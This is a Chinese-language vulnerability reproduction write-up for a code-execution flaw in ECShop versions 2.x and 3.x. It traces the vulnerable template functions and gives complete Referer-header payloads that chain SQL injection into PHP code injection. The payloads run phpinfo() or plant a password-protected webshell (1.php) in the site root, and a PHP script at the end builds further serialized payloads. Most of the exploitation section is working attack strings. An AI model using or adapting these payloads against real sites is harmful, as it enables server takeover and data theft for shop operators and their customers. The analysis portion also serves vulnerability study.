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ECShop \<= 2.7.x 代码执行漏洞

一、漏洞简介

二、漏洞影响

ECShop(2.x、3.0.x、3.6.x)

三、复现过程

漏洞分析

继续看fetch函数

追踪_eval函数

$position_style变量来源于数据库中的查询结构

然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询

payload

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time &lt;= '1535678679' AND end_time &gt;= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -

函数中有一个判断

我们 id传入'/*

num传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -就能绕过了

var_dump一下

再看fetch函数,传入的参数被fetch_str函数处理了

追踪fetch_str函数,这里的字符串处理流程比较复杂

return preg_replace("/{([^\}\{\n]*)}/e", "\$this-&gt;select('\\1');", $source);

这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select('$asd')的结果

看看select函数

第一个字符为$时进入$this->get_val函数

我们$val没有.$又进入make_var函数

最后这里引入单引号从变量中逃逸

我们要闭合_var所以最终payload是

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx

会在网站跟目录生成1.txt 里面内容是getshell

2.x

phpinfo():

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

webshell:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

会在网站根目录生成1.php,密码:1337

3.x

phpinfo():

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

webshell:

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

会在网站根目录生成1.php,密码:1337

小脚本

下面给出一个序列化的php脚本(第9个位置就是你想要的):

&lt;?php
$arr=array('num'=&gt;'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=&gt;'\'/*');
echo serialize($arr);
?&gt;

参考链接

https://cloud.tencent.com/developer/article/1333449